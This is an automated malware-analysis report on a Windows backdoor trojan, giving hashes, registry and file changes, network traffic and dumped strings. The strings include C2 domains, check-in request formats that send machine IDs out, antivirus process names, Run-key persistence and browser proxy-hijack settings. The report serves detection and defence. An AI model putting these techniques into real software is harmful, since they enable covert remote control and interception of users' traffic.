Gen.Variant.Kazy.42232_954df748a0

by malwarelabrobot on November 2nd, 2014 in Malware Descriptions.

HEUR:Trojan.Win32.Generic (Kaspersky), Gen:Variant.Kazy.42232 (B) (Emsisoft), Gen:Variant.Kazy.42232 (AdAware), Trojan.Win32.Alureon.FD, Trojan.Win32.Swrort.3.FD, BackdoorCycbot.YR (Lavasoft MAS)
Behaviour: Trojan, Backdoor


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 954df748a08d0a3375bd7a880127f6ee
SHA1: 08e2b2598834af6b5199da3fecc36d895a43cc78
SHA256: 52286d0dcfd0a2c6cfc557ceb80371e5ab3c5f479940d311abdc696aa31eec7b
SSDeep: 6144: N54 Ttb6qJKFWidMKVY3ef4nTNEgnicIeBQtbhx /qwbG4YrdnSUGWIiO:mRtbzDKVY3eG9i0BQtn IbBYrdSM
Size: 284672 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: TODO:
Created at: 2005-09-05 12:13:07
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:1340
%original file name%.exe:168
13.tmp:1468

The Trojan injects its code into the following process(es):

%original file name%.exe:800

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:800 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\config\software (838 bytes)
%Documents and Settings%\%current user%\Application Data\507CF\F2C6.07C (3946 bytes)
%Program Files%\LP\3985\13.tmp (12588 bytes)
%Program Files%\LP\3985\C29.exe (272706 bytes)
%System%\config\SOFTWARE.LOG (1987 bytes)

Registry activity

The process %original file name%.exe:1340 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B3 E2 63 82 BC 84 12 2D DD 9F 5C FA 60 AC ED 22"

The process %original file name%.exe:800 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 03 00 00 00 14 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "1"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer" = "http=127.0.0.1:54061"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "91 D7 B5 E8 4F 96 C4 7E 0F 27 58 2E DB 53 A6 29"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "3C 00 00 00 03 00 00 00 03 00 00 00 14 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"C29.exe" = "%Program Files%\LP\3985\C29.exe"

Automatic startup of the following service is disabled:

[HKLM\System\CurrentControlSet\Services\wscsvc]
"Start" = "3"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyOverride"

The process %original file name%.exe:168 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FA DC BA C1 34 D0 BD 7A 88 76 0B 79 DD 11 9F 91"

The process 13.tmp:1468 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "96 9B B6 79 02 EB CE 95 6C E2 08 4B 10 5A 4A 7B"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\0open]
"HWID" = "7B 41 39 41 31 42 42 45 46 2D 42 33 36 45 2D 34"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

Dropped PE files

MD5 File path
be3c3fbcfec757ce744f2ec4c1d29d7b c:\Program Files\LP\3985\13.tmp

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 278376 143360 4.92235 aacbcea832cfcc8239368d1d492a0ec0
.rdata 282624 1700 2048 3.55971 82ec30f0a40e4dc7510b56c68a362558
.data 286720 137240 137728 5.54309 733a74d4bd8d2f5567cc857f02a56a7b
.rsrc 425984 4096 512 0.727117 0df99dd3d95aa76eb52409acdd1e4306

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://e6845.ce.akamaiedge.net/pca3-g2.crl
hxxp://e6845.ce.akamaiedge.net/CSC3-2009.crl
hxxp://engineeringcrossing.com/images/misc/64646.png?pr=gJ4WK/SUh4zChRMw9YLJgMSTUivqg4aMxZNaK+/bxmq1SfkIYXhz 74.120.248.79
hxxp://e6845.ce.akamaiedge.net/pca3.crl
hxxp://e6845.ce.akamaiedge.net/CSC3-2009-2.crl
hxxp://a26.ms.akamai.net/msdownload/update/v3/static/trustedr/en/authrootseq.txt
hxxp://a26.ms.akamai.net/msdownload/update/v3/static/trustedr/en/authrootstl.cab
hxxp://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab 213.155.152.146
hxxp://csc3-2009-crl.verisign.com/CSC3-2009.crl 23.43.133.163
hxxp://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootseq.txt 213.155.152.146
hxxp://crl.verisign.com/pca3-g2.crl 23.43.133.163
hxxp://crl.verisign.com/pca3.crl 23.43.133.163
hxxp://csc3-2009-2-crl.verisign.com/CSC3-2009-2.crl 23.43.133.163


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Bifrose/Cycbot Checkin 2

Traffic

GET /images/misc/64646.png?pr=gJ4WK/SUh4zChRMw9YLJgMSTUivqg4aMxZNaK+/bxmq1SfkIYXhz HTTP/1.0
Connection: close
Host: engineeringcrossing.com
Accept: */*
User-Agent: chrome/9.0


HTTP/1.1 301 Moved Permanently
Date: Sat, 01 Nov 2014 01:08:24 GMT
Server: Apache
Location: hXXp://VVV.engineeringcrossing.com/images/misc/64646.png?pr=gJ4WK%2FSUh4zChRMw9YLJgMSTUivqg4aMxZNaK%2B%2Fbxmq1SfkIYXhz
Content-Length: 332
Connection: close
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: Coyote-2-4a78f84f=c0a81ea7:0; path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>301 Moved Permanently</title>.</head
><body>.<h1>Moved Permanently</h1>.<p>The d
ocument has moved <a href="hXXp://VVV.engineeringcrossing.com/image
s/misc/64646.png?pr=gJ4WK%2FSUh4zChRMw9YLJgMSTUivqg4aMxZNaK%2B%2
Fbxmq1SfkIYXhz">here</a>.</p>.</body></html>
;...



GET /pca3-g2.crl HTTP/1.1
Accept: */*
User-Agent: Microsoft-CryptoAPI/5.131.2600.5512
Host: crl.verisign.com
Connection: Keep-Alive
Cache-Control: no-cache
Pragma: no-cache


HTTP/1.1 200 OK
Server: Apache
ETag: "093ce4619add4c7ee1ce20e2c8e1ec38:1411605011"
Last-Modified: Thu, 25 Sep 2014 00:30:11 GMT
Date: Sat, 01 Nov 2014 01:08:21 GMT
Content-Length: 1415
Connection: keep-alive
Content-Type: application/pkix-crl
0...0...0...*.H........0..1.0...U....US1.0...U....VeriSign, Inc.1<0
:..U...3Class 3 Public Primary Certification Authority - G21:08..U...1
(c) 1998 VeriSign, Inc. - For authorized use only1.0...U....VeriSign T
rust Network..140922000000Z..141231235959Z0...0!...=...X.FL...3..I..08
0403173458Z0!...SJs|.."E.G.......070412172616Z0!....E........W6.n...14
0129192923Z0!.......jvO..!....]..040401180422Z0!......\*....bO-.....08
0403173459Z0!....I..:.<....9..m..070412172523Z0!.........R.E!..=t..
.070522172634Z0!....}.....}.}.(q.C..040401180606Z0!...`.6..,...u.~x.:.
.080403173459Z0!.........wX.....~...080606171636Z0!..$.Jn>.t..d_j..
."..040401180518Z0!.. ..N*(.}H..j......070412172308Z0!.. ..3.J......d.
.9..070522172711Z0!..50.h.:....s.K"....040401180542Z0!..7_f...s.......
....080403173459Z0!..<.J..y..)..~x7.e..080606171735Z0!..NS.c.f.....
.7.p...070412172213Z0!..N.k;..-...9J..-...070522172748Z0!..Q..2pRv.WC.
:..f...030109181346Z0!..Tq..m..*..........140129192925Z0!..^..CX4.3...
 F.R...070522172548Z0!..^..)..P3...7...L..080403173459Z0!..e........O.
^.S....080403173457Z0!..jP....Wv..[.v.5H..070412172102Z0!..nk.l.!y.~..
[email protected]!..r.q.I-Ln./........080403173458Z0!..t8....D....
.......080606171524Z0!..t.xn.tS....O_.....070412171951Z0!..v......Qnw.
.W.g...140129192921Z0...*.H.............."{.v=]j..k?.....h.f..........
.u.R.....dZ,aTG<.i.R.e..J.....rZ .."...S_RS~..Ezi.Od..Y..1...D...'.
........%.7.lk.Z%^....?.`....M..
<<< skipped >>>


GET /msdownload/update/v3/static/trustedr/en/authrootseq.txt HTTP/1.1
Connection: close
Accept: */*
User-Agent: Microsoft-CryptoAPI/5.131.2600.5512
Host: VVV.download.windowsupdate.com
Pragma: no-cache


HTTP/1.1 200 OK
Content-Type: text/plain
Last-Modified: Fri, 12 Sep 2014 18:02:51 GMT
Accept-Ranges: bytes
ETag: "80179bc4b3cecf1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Content-Length: 18
Cache-Control: max-age=6853
Date: Sat, 01 Nov 2014 01:08:28 GMT
Connection: close
X-CCC: DE
X-CID: 2
1401CFCEB3C4C42958..



GET /CSC3-2009-2.crl HTTP/1.1
Connection: close
Accept: */*
User-Agent: Microsoft-CryptoAPI/5.131.2600.5512
Host: csc3-2009-2-crl.verisign.com
Pragma: no-cache


HTTP/1.1 200 OK
Server: Apache
ETag: "3422b0062fab6006a3a6dfd623afe65f:1414789511"
Last-Modified: Fri, 31 Oct 2014 21:05:11 GMT
Date: Sat, 01 Nov 2014 01:08:26 GMT
Transfer-Encoding:  chunked
Connection: close
Connection: Transfer-Encoding
Content-Type: application/pkix-crl
00006000..0..N0..6...0...*.H........0..1.0...U....US1.0...U....VeriSig
n, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use at htt
ps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Code Signin
g 2009-2 CA..141031210002Z..141114210002Z0...0!.....V..t..'.F(z....121
202220203Z0!.... .;...9.7.......090826054212Z0!...\.)../F..^p..s...100
722072726Z0!......P....A.x......100708154305Z0!.......O#.`n.5j.9...100
930040708Z0!..../..8~p...h......091006052837Z0!.....(../L....--aK..091
029040207Z0!...aW.....B.!.0..t..090909121104Z0!...g,..4(vv....mJ_..100
514054218Z0!.....V.....(..-..p..090826162211Z0!....O..,J.N.n...Ly..091
[email protected]!.........}..Dt...!..090
922192227Z0!.......2l....7i..?..101109030426Z0!.....p%...l,AogP....100
523060224Z0!...,.P.C......*.....100303082219Z0!...NRPL.............100
413090225Z0!....1w....d.&..8....091026111702Z0!......F....e........090
608081352Z0!.....6..d6.7..4.....100924123027Z0!....$..*...s..&s....100
219210742Z0!......Q_.G..|.......091009145530Z0!........>..O...=72..
100616160934Z0!....Xlm$|".su.......090619194406Z0!......J)..E......C..
100922142243Z0!...D......u.y.Iy{k..101026130323Z0!...El...)>..W..&l
t;K...101004225456Z0!...p..wy.i.zc...X...091117001921Z0!.....,{..^....
......091203194409Z0!....B....d...*[email protected]!.......m. .V..
...~..101111134216Z0!...2.R.i.{..........091029071123Z0!...`F..q2..O.:
......100602074221Z0!...a{.-...@...'.....100723194022Z0!........fW.y.,
s.....101011182226Z0!....Um..}.8)........100324085953Z0!....,u.box
<<< skipped >>>


GET /CSC3-2009.crl HTTP/1.1
Accept: */*
User-Agent: Microsoft-CryptoAPI/5.131.2600.5512
Host: csc3-2009-crl.verisign.com
Connection: Keep-Alive
Cache-Control: no-cache
Pragma: no-cache


HTTP/1.1 200 OK
Server: Apache
ETag: "07fc82129a1ad4c9370585488dcd30a7:1414789512"
Last-Modified: Fri, 31 Oct 2014 21:05:12 GMT
Date: Sat, 01 Nov 2014 01:08:21 GMT
Content-Length: 2249
Connection: keep-alive
Content-Type: application/pkix-crl
0...0......0...*.H........0..1.0...U....US1.0...U....VeriSign, Inc.1.0
...U....VeriSign Trust Network1;09..U...2Terms of use at hXXps://VVV.v
erisign.com/rpa (c)091.0,..U...%VeriSign Class 3 Code Signing 2009 CA.
.141031210003Z..141114210003Z0...0!.....zOR.D...,oMa...090525061903Z0!
......t.o=(..(..G...090520231844Z0!... ....M...m.Q.&...090517075442Z0!
...T.Ay(..U...:_|...090608072333Z0!... .(.....F..9.....090805090059Z0!
.......P..._}..;.x..090714150126Z0!.....5=.qOV[.cyg.&..090528172131Z0!
...K...=$.6.........090521015930Z0!...-H...D...tDXUN...090527062050Z0!
.......-.'@..<B{....090525110212Z0!......x..m*[.7.h#"..090702070220
Z0!.....%.o.....kT.....090527062152Z0!..!.*;....)..Ef..k..090529084018
Z0!..#.}h..."..........090527050204Z0!..$.I^./@.:7.p.,v...090521201736
Z0!..&.5{.....Q;D......090521184343Z0!..&...T[.~y.........090903081104
Z0!...q..m...G..i^.....090521025017Z0!../a.nS..[lA.lCB....090527045238
Z0!..0.....R..iX.px....090605052910Z0!..2.h..).n......p;..090713144756
Z0!..:.............. ..090605052934Z0!..;.0.*.v..*....P...090601001940
Z0!..?..}p 2I..o.\[email protected]`......l..090527022214
Z0!..B..h~a..]..L.2....100512125735Z0!..B.U..ZF...........090527041620
Z0!..F'....?xxnx.6Q....090528003453Z0!..F|A..r....#.@.&...090527062259
Z0!..L.r....F..^..i.t..090608130549Z0!..Q...Y...Exm.._7...090520225737
Z0!..TH..~.. ..({......090723115618Z0!..U.59Z..[.G.RmyR1..090527071534
Z0!..V ].h.../".V<8-...090611075746Z0!..gHT...j5zdG....K..090521205
535Z0!..mje.......;.......090521012215Z0!..p^..E.{.>.........09
<<< skipped >>>


GET /pca3.crl HTTP/1.1
Connection: close
Accept: */*
User-Agent: Microsoft-CryptoAPI/5.131.2600.5512
Host: crl.verisign.com
Pragma: no-cache


HTTP/1.1 200 OK
Server: Apache
ETag: "8f6b3bcd9bb64555001fba64f5b01b92:1411517716"
Last-Modified: Wed, 24 Sep 2014 00:15:16 GMT
Date: Sat, 01 Nov 2014 01:08:25 GMT
Content-Length: 933
Connection: close
Content-Type: application/pkix-crl
0...0...0...*.H........0_1.0...U....US1.0...U....VeriSign, Inc.1705..U
....Class 3 Public Primary Certification Authority..140922000000Z..141
231235959Z0..x0!...v....a_>..2......020924164823Z0!.....A.....{2..Y
.#..140129175709Z0!...,.|.|...<...j ...080605174907Z0!...`y..q.....
..fh...020923171400Z0!...?A....a.nF`.P....020923171548Z0!............R
.e.53..010207212458Z0!..!......Y...ISi....010706171411Z0!..$-..I{r....
u<._...080403172226Z0!..&.."?..y..51}..1..010706172118Z0!..4....2..
..{W......080605175030Z0!..B....c............070411175910Z0!..H.Py...N
....* [email protected]!..Y......w
`G........070411175657Z0!..Z`[email protected].*q..080403172017Z0!..l....I..
.Y..] .c..010706171749Z0"......T=deQ...1u.]...010207212247Z0".....p..1
..7<.....e..010207211822Z0...*.H............M....s#..Lo...TU...tM.3
...'.U......:Z...w.x.=....K.0;...!....D....9...,!....B.t. <........
..-.....k.$<i{O.<.E...*.......Ow _..J...



GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1
Connection: close
Accept: */*
User-Agent: Microsoft-CryptoAPI/5.131.2600.5512
Host: VVV.download.windowsupdate.com
Pragma: no-cache


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Last-Modified: Fri, 12 Sep 2014 18:47:05 GMT
Accept-Ranges: bytes
ETag: "805a83f2b9cecf1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Content-Length: 56928
Cache-Control: max-age=5738
Date: Sat, 01 Nov 2014 01:08:28 GMT
Connection: close
X-CCC: DE
X-CID: 2
MSCF....`.......,...................I.................,E.Y .authroot.s
tl..Y-..8..CK...<T...g.v!M.d..f.%d..}K..5..F. ...T..%.,YJ.,!T......
_..x.<=O.....yy....;3..>.|..~..\.....|......;..8..~.za...."A...q
.......g..m......<X........j"I........!..-w.....w....P...H..(.?}..2
.N. .u..a. ...=.C..D.F>rC.. ..|).=.. ..3b.8H.M...(...u8.%...W.g...\
YB.m:.....dE.........V....$....Dn:....0...S."...o..q.....K...I..K...(x
%....>A.R...`.0 .........<`L0mp...%....y.....g.n...R0Op..<..,
....`0$z.@..&.x"....T..H...<........~..E..".....<<.\B(.......
[email protected]/"...f.......k..Jm7j....R.5q....Rz.
.!@...].......Y.[........4.. .D8..&...t.J^O..Q.._..1.J.m5<'k.,....%
T....i.\.;.;q..S./ 8.?Bu.............}D.Q....L....*..[.."e......15m...
_.0.M........#..v!..<...@..?sc.y....*.....tX[........{.W4.Q...^u@..
*..QP.......~.L9N....2r...4.....B..-\(...b.d...K...O.8..Un.......V.<
;.......A...V.....(..s..f..q.{N0.hS.,..;M.|G|[email protected].._.....7._6...C.0...
A;L....%...M=Y.....f.JV.(.5.....0..?*...KZ....jM...8.6U...#...ew.?..?.
..........WE.Or..O>..{.'[email protected]}.o:?~....]&l
t;!...%....}@.d...L.p.a.g ..K."..N1!%..S.bT.H.-.....e..`.0$...0t..DX..
{.....#./...8.5..M...T.......D......V\C.zy.....3E:..>.{..).QW......
q....9..n..1....8%,.........r.p@.>. ...Q.?.p..7.?..7...&..!........
.`. .=....Sf..q.l.A.....L...t.}g..;...f....=.e.~.z....C..*R....H-..=..
.f..(t'.."....F...g._....n.J..U.4vr`}.....1..o@.....@.#...R. L8....z..
].|......3..y..-./....K..6{...s.<R`.}[email protected]....
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

%original file name%.exe_800:

`.rsrc
`.pC4
u.Vht
SSShbU@
SSj%S
<%u,V
<3%u1f
uTVWh.IB
GetProcessWindowStation
operator
deflate 1.2.5 Copyright 1995-2010 Jean-loup Gailly and Mark Adler
1.2.5
inflate 1.2.5 Copyright 1995-2010 Mark Adler
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
\sc.exe
ntdll.dll
iexplore.exe
opera.exe
firefox.exe
safari.exe
chrome.exe
AVGIDSMonitor.exe
AVGIDSAgent.exe
avgchsvx.exe
avgemcx.exe
avgnsx.exe
avgrsx.exe
avgtray.exe
avgwdsvc.exe
avgnt.exe
ccsvchst.exe
AvastUI.exe
mcagent.exe
SOFTWARE\Microsoft\Windows Defender\Real-Time Protection
SOFTWARE\Microsoft\Windows Defender
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer
explorer.exe
Windows Security Center
%s\shell32.dll,Control_RunDLL "%s\wscui.cpl",Security Center
rundll32.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Windows Defender
at %d:%d "%s" %s
win32iexplore.exe
win32opera.exe
win32firefox.exe
win32safari.exe
win32winword.exe
win32excel.exe
win32outlook.exe
win32photoshop.exe
win32wmplayer.exe
win32java.exe
win32itunes.exe
win32msmsgs.exe
java.exe
*.log
%s:\windows\system32\%s.tmp
%s:\windows\syswow64\%s.tmp
%s:\WINNT\system32\%s.tmp
%s:\WINNT\syswow64\%s.tmp
Find Temporary files is %d
cannot open files %s, Open next files ?
{A1D429DE-B782-4253-84AD-6E09A8438AD5}
\Windows NT
Software\Microsoft\Windows\CurrentVersion\Run
%s\%s
%s.%s
stor.cfg
exec%s
{35BCA615-C82A-4152-8857-BCC626AE4C8D}
{4D92BB9F-9A66-458f-ACA4-66172A7016D4}
lvvm.exe
{C0429A47-0CF0-4d1b-9616-C588FA0A3DDB}
{43B671F0-5D50-4dbe-AD9C-64A6167C57AD}
{6B985724-623F-492e-B0D6-C9715ADE853B}
{B37C48AF-B05C-4520-8B38-2FE181D5DC78}
{95F6585C-CC1E-4b52-A63B-9FBC6A94F371}
Advapi32.dll
%s%s_1
%s_0_%d_%s
%s_%d
%s_%d_%d_%d_%d
%s_%s
hXXp://
POST %s HTTP/1.1
Host: %s
User-Agent: mozilla/2.0
Content-Length: %u
POST hXXp://%s%s HTTP/1.1
HTTP/1.0 200 OK
HTTP/1.1 200 OK
id=%s&p3=0&p4=0&hwid=%s&c=%d&nax=7&ver=108
%s_%s_%d
_1_%d
_2_%d
_3_%d
_4_%d
hXXp://maildbaccesss.com
hXXp://storetabletpcforme.com
hXXp://seeworldonlines.com
hXXp://missisipitour.com
hXXp://adreklamaforyou.com
hXXp://calcfordelis.com
hXXp://stotre4image.com
hXXp://allsoft4you.com
hXXp://videocontainer.com
hXXp://maxtroeurosys.com
SELECT_RESERV_SRV_%d
%s_%d_%s
id=%s&c=%d
%s_%d_%d_%d
%s_%d_%d
%s %s
%s start%s%c%s
c1.exe
c2.exe
c3.exe
%sq=%s
DWN_CON_STRP_%d_%s
hXXp://%d.ctrl.%s
logo.png
img/135.png
img/136.png
t=%s&p4=0&q=%s&z22=0&s=%d&hrs=%d
t=%s&q=&s=%d&hrs=%d
%s/%s?tq=%s&pr=%d
%s:%d/%s?tq=%s&pr=%d
hXXp://armoredlegion.com/305986.png
hXXp://armoredlegion.com/16354.png
hXXp://armoredlegion.com/716354_m61.png
hXXp://mektek.net/thelab/wiley.jpg
hXXp://knowledgesutra.com/img/temp/hi.cgi
hXXp://knowledgesutra.com/img/temp/head.png
hXXp://battleon.com/134.gif
hXXp://battleon.com/132.gif
hXXp://battleon.com/133.gif
hXXp://browsermmorpg.com/images/cpc.png
hXXp://browsermmorpg.com/images/cpc2.png
hXXp://browsermmorpg.com/img/intel.gif
hXXp://browsermmorpg.com/img/intel.jpg
hXXp://012webpages.com/christian12.jpg
hXXp://012webpages.com/christian13.jpg
hXXp://012webpages.com/christian14.jpg
hXXp://tri-countymech.com/g/livechat.png
hXXp://tri-countymech.com/g/logo.png
hXXp://tri-countymech.com/g/133.jpg
hXXp://tri-countymech.com/g/134.jpg
hXXp://electronicstheory.com/pics/valley.png
hXXp://electronicstheory.com/pics/sun.png
hXXp://classicbattletech.com/lhous3.gif
hXXp://classicbattletech.com/lhous4.gif
hXXp://classicbattletech.com/lhous5.gif
hXXp://classicbattletech.com/lhous6.gif
hXXp://engineeringcrossing.com/images/misc/23525.png
hXXp://engineeringcrossing.com/images/misc/64646.png
t=t&hrs=%d&q=id=1000&ver=%s&s=%d
t=ip&hrs=%d&q=&s=1
%s?pr=%s
\bl%d_64.bat
del "%s"
if exist "%s" goto a
cmd.exe /c "%s"
%s.zl
{ÕD9E4E0-906C-4B81-B1BF-2E9A76248146}_%d
{C66E79CE-8935-4ed9-A6B1-4983619CB925}
{61B98B86-5F44-42b3-BCA1-33904B067B81}
{0ECE180F-6E9E-4FA6-A154-6876D9DB8906}
GET %s HTTP/1.0
drweb
{5A92A751-F926-4BB9-872E-BEC4A4CD571F}
ldr.ini
reportfrommains.com
hXXp://%s/s.php?c=121&id=%s
onlinereportsystem.com
%s_1_%d_%s
%s_2_%d_%s
%s_3_%d_%s
%s_4_%d_%s
pmv=2&id=%s&hwid=%s
u.exe
%s up%s
&%s=%s
PRM_LSTN_THIS_PORT
127.0.0.1
HTTP/1.x
google.com
hXXp://VVV.google.com
HTTP/1.1 302 Found
Location: %s
id=%s&type=%d&ppcid=%s
%s: %s
%s_5_%s
http=127.0.0.1:
prefs.js
Mozilla
"network.proxy.http"
"network.proxy.http_port"
"network.proxy.type"
"127.0.0.1"
%s(%s, %s);
operaprefs.ini
Opera
Use HTTP
HTTP server
127.0.0.1:%s
%s=%s
%s:%s
hwid=%s&yui=2&id=%s&step=1&wd=%d&rvn=56&av=%s
id=%s&hwid=%s
exec|%s
http=
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
bing.com
yahoo.com
search.aol.
suche.aol.
searcht2.aol.
.yimg.com
.bing.net
scorecardresearch.com
brightcove.com
.aol.
.atwola.
.ivwbox.
.google
.atdmt.
.abmr.
.tacoda.
.adtechus.
.autodatadirect.
.mapquestapi.
.ggpht.
.virtualearth.
.opera.
.microsoft.
.wsod.
.doubleclick.
.ypcdn.
.truveo.
.tlowdb.
mapq.st
.dartsearch.
.thawte.
http://
bing.com/search
search.yahoo.com/search
%s_1_%s
err%d%s_%d_%d
err0%s_%d_%d
&useragent=%s
&referer=%s
&type=%d
%s:443/?ver=108&system=%d&id=%s&hwid=%s&search=%s
%s_2_%s
%s_%s_%s
%s_3_%s
VVV.VVV.ru
hXXps://
.doubleclick.net
doubleclick.net
msn.com
%s_0%d_%d
=='undefined'?'%s':'%s'
.referrer
HTTP/1.0
